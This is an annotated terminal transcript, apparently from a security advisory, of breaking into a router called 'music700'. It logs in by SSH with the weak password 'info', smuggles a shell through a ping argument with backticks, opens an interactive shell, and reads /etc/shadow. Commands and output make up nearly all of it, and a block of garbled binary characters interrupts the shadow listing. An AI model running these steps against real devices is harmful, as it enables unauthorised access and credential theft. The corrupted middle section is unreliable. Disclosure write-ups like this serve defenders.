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$ ssh info@target.router.ru /bin/sh 
Password: info 
 
[Note – we are now connect as “info” to music700] 
 
Note: /etc/modules.conf is more recent than 
/usr/music700/lib/modules/2.4.17_mvl 
21-malta-mips_fp_le/modules.dep 
ping `/bin/sh` 
 
[Note – we are now at an “invisible” shell prompt] 
 
/bin/sh -i 1>&2 
sh: no job control in this shell 
 
[Note – we are now at a visible shell prompt] 
 
readline: warning: rl_prep_terminal: cannot get terminal 
settingssh-2.05a$ id 
uid=2000(info) gid=2000(info) 
 
[Note – we have “info” privileges]  
 
readline: warning: rl_prep_terminal: cannot get terminal 
settingssh-2.05a$ cat /etc/shadow 
root:<censored>:10925:0:99999:7::: 
bin:*:10925:0:99999:7::: 
daemon:*:10925:0:99999:7::: 
sys:*:10925:0:99999:7::: 
adm:*:10925:0:99999:7::: 
lp:*:10925:0:99999:7::: 
sync:*:10925:0:99999:7::: 
shutdown:*:10925:0:99999:7::: 
halt:*:10925:0:99999:7::: 



� 
 ��� 
�� � � $
" 
 % �
6$
� �& � ��% � �
� ���� ���� ��
��� $
� � � '(�������� ��'���




�

mail:*:10925:0:99999:7::: 
news:*:10925:0:99999:7::: 
uucp:*:10925:0:99999:7::: 
operator:*:10925:0:99999:7::: 
games:*:10925:0:99999:7::: 
ftp:*:10925:0:99999:7::: 
man:*:10925:0:99999:7::: 
nobody:*:10925:0:99999:7::: 
debug:<censored>:10925:0:99999:7::: 
info:<hash of word info>:11950:0:99999:7::: 
readline: warning: rl_prep_terminal: cannot get terminal 
settingssh-2.05a$  
 
[Note – we now have the /etc/shadow file] 
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